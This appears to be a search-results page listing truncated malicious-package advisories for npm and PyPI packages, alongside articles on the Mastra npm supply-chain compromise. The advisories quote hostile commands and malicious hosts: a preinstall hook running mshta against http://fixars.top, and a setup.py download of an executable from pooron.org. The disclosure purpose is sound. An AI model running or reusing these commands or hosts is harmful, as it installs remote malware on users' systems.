875 matches found
From package to postinstall payload: Inside the Mastra npm supply chain compromise by Sapphire Sleet
In this article 1. Attack chain overview 1. Discovery and initial indicators 2. Dependency injection: the poisoned package.json 3. Typosquat analysis: easy-day-js 4. Staged delivery pattern 5. Obfuscation and payload analysis 6. TLS bypass to self-deletion 7. Timeline analysis 2. Who is Sapphire...
Malicious code in boardflow (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7a7f48df7609edb5bab9d9e572f093994d071165578a58032a69392d62b08b86 On pip install boardflow, setup.py spawns a background thread that fetches http://pooron.org/test.exe over plain HTTP into the OS temp directory and...
MAL-2026-6080 Malicious code in boardflow (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7a7f48df7609edb5bab9d9e572f093994d071165578a58032a69392d62b08b86 On pip install boardflow, setup.py spawns a background thread that fetches http://pooron.org/test.exe over plain HTTP into the OS temp directory and...
MAL-2026-6066 Malicious code in quirky-token (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b263413912feb72882ee0b52e7025c636ed98472ba90e6db4714b3b111b4e2e8 The package is advertised as an SVG sanitizer but exposes an undocumented getPlugin export whose returned function fetches JSON from...
145 Mastra npm Packages Compromised via Hijacked Contributor Account
As many as 145 npm packages associated with the Mastra namespace "@mastra/", a popular open-source JavaScript and TypeScript framework for building artificial intelligence AI applications, have been compromised as part of a software supply chain attack codenamed easy-day-js , per findings from...
Malicious code in params-valid-js (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 397af72237ba3626ac4727497662530f602c2ce6ec71406f48b508055687366c The package presents itself as 'Simplified HTTP request client' and copies identity metadata from Mikeal Rogers' legitimate request package bugs URL...
Malicious code in classbreeze-utils (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e19daf4f946816f5ba3c6e592eacc980861b281c6752b738de57fdd31f49279d The package masquerades as a Tailwind plugin: README and the top of src/index.js are a verbatim clone of @tailwindcss/typography...
MAL-2026-5973 Malicious code in classbreeze-utils (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e19daf4f946816f5ba3c6e592eacc980861b281c6752b738de57fdd31f49279d The package masquerades as a Tailwind plugin: README and the top of src/index.js are a verbatim clone of @tailwindcss/typography...
Malicious code in bubblestr (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7831cb93037b6f364e2174f6d4fb64b38bac958e54f3653b8a70810681972172 package.json declares "postinstall": "node index.js", and index.js is a heavily obfuscated single-file script RC4+base64 string-array with rotating...
MAL-2026-5930 Malicious code in bubblestr (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7831cb93037b6f364e2174f6d4fb64b38bac958e54f3653b8a70810681972172 package.json declares "postinstall": "node index.js", and index.js is a heavily obfuscated single-file script RC4+base64 string-array with rotating...
Malicious code in vite-config-field (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8e5dabbc9cf746e153391fbe76f4dc54f9bccb9f7fd467d5b80d07c84ab1fb58 [email protected] impersonates the legitimate vite-plugin-pwa package README copies its banner/badges, funding field points at antfu's GitHub...
Malicious code in ssr-auth-sync (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7fe43338279cb894ffacc18ef9ec757d4b4fa8b603672b0bedcb4c00d9f8a806 On require'ssr-auth-sync', index.js loads lib/writer.js, which immediately fetches a base64-hidden URL https://www.jsonkeeper.com/b/PJNZP, an anonymo...
MAL-2026-5932 Malicious code in package-uploader (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 69b86134d9cd019c2d8ad172eed54cd4a48839d69ed2c6af52b79ef5080da765 [email protected] ships an install-hook.js that runs automatically as the npm postinstall script package.json declares "postinstall": "node...
Malicious code in package-uploader (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 69b86134d9cd019c2d8ad172eed54cd4a48839d69ed2c6af52b79ef5080da765 [email protected] ships an install-hook.js that runs automatically as the npm postinstall script package.json declares "postinstall": "node...
Malicious code in aillmgen (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5b303e830a204ad1ee237f0403a2844f5dce96fa3e3841392ce92d7f3f502341 On npm install, the package's preinstall hook preinstall.js runs exec'cmd /c "mshta http://fixars.top"', invoking the Windows mshta.exe binary to fet...
MAL-2026-5927 Malicious code in aillmgen (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5b303e830a204ad1ee237f0403a2844f5dce96fa3e3841392ce92d7f3f502341 On npm install, the package's preinstall hook preinstall.js runs exec'cmd /c "mshta http://fixars.top"', invoking the Windows mshta.exe binary to fet...
MAL-2026-5885 Malicious code in wordpad-text-ui (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0d4d50aa948a360a788613f1fee19f4d1853c93d8792a5899c620e56d40c53ad On npm install, the declared postinstall hook runs node main.js, which decodes an obfuscated URL stored as...
Malicious code in @intentsolution/database-security-scanner (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7b1f4da3cb40cc2e1396230869d85bcc5a3c9267c0dc3c60dc297c08d1882230 The package's main file index.js is heavily obfuscated using obfuscator.io-style string-array rotation, base64 fragments, and per-byte XOR decoders...
MAL-2026-5825 Malicious code in @intentsolution/database-security-scanner (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7b1f4da3cb40cc2e1396230869d85bcc5a3c9267c0dc3c60dc297c08d1882230 The package's main file index.js is heavily obfuscated using obfuscator.io-style string-array rotation, base64 fragments, and per-byte XOR decoders...
Malicious code in index-ulid (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5acad250c58c9c27804a14b640d17438998fbaabd43b77c69008c7180014f361 index-ulid impersonates the legitimate ulid/ulidx ULID generator reuses ulid's description and links its homepage to github.com/ulid/javascript but i...